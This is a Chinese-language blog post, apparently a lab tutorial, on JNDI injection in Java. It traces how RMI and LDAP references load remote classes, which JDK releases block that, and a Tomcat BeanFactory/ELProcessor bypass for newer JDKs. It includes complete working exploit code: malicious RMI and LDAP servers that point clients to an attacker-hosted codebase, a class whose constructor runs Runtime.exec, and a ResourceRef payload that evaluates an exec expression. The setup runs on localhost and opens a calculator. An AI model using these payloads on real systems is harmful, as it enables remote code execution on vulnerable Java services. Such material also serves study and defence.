jndi注入

jndi注入

jndi简单来说是提供一个查找服务,你可以通过字符串找到对应的对象。而jndi需要有服务的提供者,也就是是谁来提供这些对象。jndi只是负责名字->对象的查找,而不提供对象。

可以作为服务提供者的:

Lightweight Directory Access Protocol (LDAP)
轻量级目录访问协议 (LDAP)

Common Object Request Broker Architecture (CORBA) Common Object Services (COS) name service
通用对象请求代理体系结构 (CORBA) 通用对象服务 (COS) 名称服务

Java Remote Method Invocation (RMI) Registry
Java 远程方法调用 (RMI) 注册表

Domain Name Service (DNS)
域名服务 (DNS)

jndi支持的对象:

rmi+jndi

客户端使用jdk 1.8.0_65

服务端:

package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class rmiJNDI {
    public static void main(String[] args) throws Exception{
//        Registry registry = LocateRegistry.createRegistry(12347);
//        Reference reference = new Reference("TestC","TestC","http://localhost:8989/");
//        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
//        registry.bind("test1",referenceWrapper);

        Registry registry = LocateRegistry.createRegistry(12347);
        InitialContext initialContext = new InitialContext();
        Reference reference = new Reference("TestC","TestC","http://localhost:8989/");
        initialContext.rebind("rmi://localhost:12347/test1",reference);
    }
}

客户端:

package org.example;

import javax.naming.InitialContext;

public class jndiClient {
    public static void main(String[] args) throws Exception{
//        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
//        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("rmi://localhost:12347/test1");
    }
}

写一个恶意类,恶意代码写在构造方法,编译为class文件(使用idea项目时注意这个类文件不要放在src/main/java/org.example里面)


public class TestC{
    public TestC() throws Exception{
        System.out.println("yes");
        Runtime.getRuntime().exec("calc");
    }
}

在编译的class文件所在目录启一个web服务:python -m http.server 8989

调试分析

启动服务端,在客户端使用了lookup函数处打上断点开始调试

InitialContext.lookup->GenericURLContext.lookup->RegistryContext.lookup->RegistryContext.decodeObject->NamingManager.getObjectInstance

重点是NamingManager.getObjectInstance的factory = getObjectFactoryFromReference(ref, f);在这一行打上断点步入

NamingManager.getObjectFactoryFromReference:

static ObjectFactory getObjectFactoryFromReference(
        Reference ref, String factoryName)
        throws IllegalAccessException,
        InstantiationException,
        MalformedURLException {
        Class<?> clas = null;

        // Try to use current class loader
        try {
             clas = helper.loadClass(factoryName);
        } catch (ClassNotFoundException e) {
            // ignore and continue
            // e.printStackTrace();
        }
        // All other exceptions are passed up.

        // Not in class path; try to use codebase
        String codebase;
        if (clas == null &&
                (codebase = ref.getFactoryClassLocation()) != null) {
            try {
                clas = helper.loadClass(factoryName, codebase);
            } catch (ClassNotFoundException e) {
            }
        }

        return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
    }

调试发现这里有loadClass进行类加载:clas = helper.loadClass(factoryName, codebase),但是类加载不会触发恶意类的构造方法,需要newInstance,看到最后一句代码:return (clas != null) ? (ObjectFactory) clas.newInstance() : null;这里会实例化触发恶意类构造方法从而弹计算器

修复

JDK6u41、JDK 7u131、JDK8u121开始修复rmi+jndi(RegistryContext的trustURLCodebase默认是false导致抛出异常),rmi+jndi的方式打不了了

jndi客户端修改版本为jdk 1.8.0_181,不能成功弹计算器

image-20240908233345426

lookup处打断点调试分析,跟到RegistryContext.decodeObject:

private Object decodeObject(Remote var1, Name var2) throws NamingException {
        try {
            Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
            Reference var8 = null;
            if (var3 instanceof Reference) {
                var8 = (Reference)var3;
            } else if (var3 instanceof Referenceable) {
                var8 = ((Referenceable)((Referenceable)var3)).getReference();
            }

            if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
                throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
            } else {
                return NamingManager.getObjectInstance(var3, var2, this, this.environment);
            }
        } catch (NamingException var5) {
            throw var5;
        } catch (RemoteException var6) {
            throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
        } catch (Exception var7) {
            NamingException var4 = new NamingException();
            var4.setRootCause(var7);
            throw var4;
        }
    }

在RegistryContext.decodeObject处的

if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
                throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
            }

这里的trustURLCodebase默认是false导致抛出异常不能执行NamingManager.getObjectInstance(var3, var2, this, this.environment)代码

如果没有单独设置com.sun.jndi.rmi.object.trustURLCodebase为true则默认为false

static {
        PrivilegedAction var0 = () -> {
            return System.getProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");
        };
        String var1 = (String)AccessController.doPrivileged(var0);
        trustURLCodebase = "true".equalsIgnoreCase(var1);
    }

ldap+jndi

客户端使用jdk 1.8.0_181

服务端pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>untitled</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>com.unboundid</groupId>
            <artifactId>unboundid-ldapsdk</artifactId>
            <version>6.0.0</version>
        </dependency>
    </dependencies>

</project>

ldap服务端:

package org.example;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.ldap.sdk.Entry;

public class ldapJNDI {
    private static final String LDAP_BASE="dc=example,dc=com";

    public static void main(String[] argsx) {
        String[] args=new String[] {"http://localhost:8989/#TestC"};	//要返回的HTTP地址,#号之后是部署在HTTP服务器上的Payload资源名称(Example.class,这里的“.class”省略,因为在后面会进行拼接)

        int port=12347;	//LDAP服务器监听端口
        try {
            InMemoryDirectoryServerConfig config=new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(
                    new InMemoryListenerConfig(
                            "listen",
                            InetAddress.getByName("0.0.0.0"),
                            port,
                            ServerSocketFactory.getDefault(),
                            SocketFactory.getDefault(),
                            (SSLSocketFactory)SSLSocketFactory.getDefault()
                    )
            );
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds=new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0");
            ds.startListening();
        }catch(Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor{

        private URL codebase;

        public OperationInterceptor(URL cb) {this.codebase=cb;}

        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base=result.getRequest().getBaseDN();
            Entry e=new Entry(base);
            try {
                sendResult(result, base, e);
            }catch(Exception e1) {
                e1.printStackTrace();
            }
        }

        protected void sendResult(InMemoryInterceptedSearchResult result,String base, Entry e) throws LDAPException,MalformedURLException{
            URL turl=new URL(this.codebase,this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for" + base + "redirecting to" + turl);
            e.addAttribute("javaClassName","foo");
            String cbstring=this.codebase.toString();
            int refPos=cbstring.indexOf('#');
            if(refPos>0) {
                cbstring=cbstring.substring(0,refPos);
            }
            e.addAttribute("javaCodeBase",cbstring);
            e.addAttribute("objectClass","javaNamingReference");
            e.addAttribute("javaFactory",this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }

}

ldap客户端:

package org.example;

import javax.naming.InitialContext;

public class jndiClient {
    public static void main(String[] args) throws Exception{
//       System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
//        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        InitialContext initialContext = new InitialContext();
//        initialContext.lookup("rmi://localhost:12347/test1");
        initialContext.lookup("ldap://localhost:12347/TestC");

//        remObj rObj = (remObj) initialContext.lookup("rmi://localhost:12347/theName");
//        rObj.sayName("qs");
    }
}

调试分析

还是在lookup处打上断点调试,跟踪分析

主要看VersionHelper12.loadClass

    public Class<?> loadClass(String className, String codebase)
            throws ClassNotFoundException, MalformedURLException {

        ClassLoader parent = getContextClassLoader();
        ClassLoader cl =
                 URLClassLoader.newInstance(getUrlArray(codebase), parent);

        return loadClass(className, cl);
    }

NamingManager.getObjectFactoryFromReference:

static ObjectFactory getObjectFactoryFromReference(
        Reference ref, String factoryName)
        throws IllegalAccessException,
        InstantiationException,
        MalformedURLException {
        Class<?> clas = null;

        // Try to use current class loader
        try {
             clas = helper.loadClass(factoryName);
        } catch (ClassNotFoundException e) {
            // ignore and continue
            // e.printStackTrace();
        }
        // All other exceptions are passed up.

        // Not in class path; try to use codebase
        String codebase;
        if (clas == null &&
                (codebase = ref.getFactoryClassLocation()) != null) {
            try {
                clas = helper.loadClass(factoryName, codebase);
            } catch (ClassNotFoundException e) {
            }
        }

        return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
    }

因为满足clas != null所有会执行(ObjectFactory) clas.newInstance(),恶意类实例化触发构造函数的恶意代码

修复

Oracle JDK 11.0.1、8u191、 7u201、 6u211开始又把ldap+jndi修复了,修复版本主要是在VersionHelper12.loadClass里面加了一个对trustURLCodebase的判断,由于trustURLCodebase默认为false,使得NamingManager.getObjectFactoryFromReference中的clas变量为空进而无法实例化恶意类

jdk 1.8.0_181的VersionHelper12.loadClass:

    public Class<?> loadClass(String className, String codebase)
            throws ClassNotFoundException, MalformedURLException {

        ClassLoader parent = getContextClassLoader();
        ClassLoader cl =
                 URLClassLoader.newInstance(getUrlArray(codebase), parent);

        return loadClass(className, cl);
    }

客户端使用jdk 1.8.0_202调试分析

jdk 1.8.0_202的VersionHelper12.loadClass:

 public Class<?> loadClass(String className, String codebase)
            throws ClassNotFoundException, MalformedURLException {
        if ("true".equalsIgnoreCase(trustURLCodebase)) {
            ClassLoader parent = getContextClassLoader();
            ClassLoader cl =
                    URLClassLoader.newInstance(getUrlArray(codebase), parent);

            return loadClass(className, cl);
        } else {
            return null;
        }
    }

可以看到jdk 1.8.0_202的VersionHelper12.loadClass加了一个判断if ("true".equalsIgnoreCase(trustURLCodebase)),而trustURLCodebase需要设置为true,否则默认为false,所有这里执行else返回null,所以NamingManager.getObjectFactoryFromReference中的clas变量为空进而无法实例化恶意类

private static final String TRUST_URL_CODEBASE_PROPERTY =
            "com.sun.jndi.ldap.object.trustURLCodebase";
    private static final String trustURLCodebase =
            AccessController.doPrivileged(
                new PrivilegedAction<String>() {
                    public String run() {
                        try {
                        return System.getProperty(TRUST_URL_CODEBASE_PROPERTY,
                            "false");
                        } catch (SecurityException e) {
                        return "false";
                        }
                    }
                }
            );

高版本jdk绕过

RMI+JNDI

通过上述分析发现高版本的jdk无法再利用rmi或者ldap加jndi进行攻击,原因是高版本的jdk默认trustURLCodebase为false无法加载远程恶意类,而分析NamingManager.getObjectFactoryFromReference时知道它会先根据factoryName本地加载类:clas = helper.loadClass(factoryName),如果没找到再加一个codebase变量远程加载类:clas = helper.loadClass(factoryName, codebase)

看ldap修复时知道DirectoryManager.getObjectInstance里面的 factory = NamingManager.getObjectFactoryFromReference由于trustURLCodebase为false返回的是null,所以无法进入factory的getObjectInstance函数

image-20240910112522729

所以我们的思路就是:找一个实现了ObjectFactory的本地类,这个本地类重写了getObjectInstance函数(重写的逻辑可以来利用),到时候执行factory.getObjectInstance时触发恶意代码。

我们要找的这个类只要是我们要攻击的jndi客户端有的就可以(可以是jdk自带,也可以是maven依赖带有的,找的原则就是符合条件的情况下这个类使用越广越好),看网上的文章用的是:org.apache.naming.factory.BeanFactory,这个类存在于tomcat依赖包使用广泛。

jndi服务端pom.xml依赖:

<dependencies>
        <dependency>
            <groupId>com.unboundid</groupId>
            <artifactId>unboundid-ldapsdk</artifactId>
            <version>6.0.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-core</artifactId>
            <version>8.5.38</version>
        </dependency>
    </dependencies>

jndi服务端代码:

package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class highJdkRmiJndi {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);  //ResourceRef与Reference作用是一样的,第一个参数是添加了ELProcessor类,第六个参数指定factory为BeanFactory
        resourceRef.add(new StringRefAddr("forceString", "a=eval")); //添加类型forceString,内容a=eval
        resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec('calc')")); //添加类型为x,内容为后面的exec
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef); //同样的对构造对象进行封装为远程对象
        registry.bind("EvalObj", referenceWrapper);
    }
}

jndi客户端pom.xml依赖:

<dependencies>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>8.5.38</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-jasper-el</artifactId>
            <version>8.5.38</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-el</artifactId>
            <version>8.5.38</version>
        </dependency>
    </dependencies>

jndi客户端代码:

package org.example;

import javax.naming.InitialContext;

public class jndiClient {
    public static void main(String[] args) throws Exception{
        //high JDK rmi+jndi
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("rmi://localhost:1099/EvalObj");//现实中能找到lookup的参数可控且依赖符合,就可以自己启服务端攻击
    }
}

调试

客户端在BeanFactory的getObjectInstance函数打个断点

我打在了:

image-20240910233926011

debug运行,一行一行的调,发现它的逻辑会获取forceString对应的contents,也就是a=eval,然后字符串切分得到eval字符串,再得到javax.el.ELProcessor类的eval方法,然后利用反射执行eval方法,参数就是"Runtime.getRuntime().exec('calc')"

image-20240910234747444

反正有payload动态调试很容易理清楚逻辑,难的是自己写payload时需要静态分析BeanFactory的getObjectInstance函数逻辑,然后就是需要通透地理解BeanFactory类、ResourceRef类以及javax.el.ELProcessor类,还要清楚它们之间的联系

jdk版本修复汇总

JDK6u41、JDK 7u131、JDK8u121开始修复rmi+jndi,rmi+jndi的方式打不了了,此时还可以使用ldap+jndi

Oracle JDK 11.0.1、8u191、 7u201、 6u211开始又把ldap+jndi修复了,此时就是使用beanfactory绕过

posted @ 2024-11-26 15:34  qingshanboy  阅读(1)  评论(0编辑  收藏  举报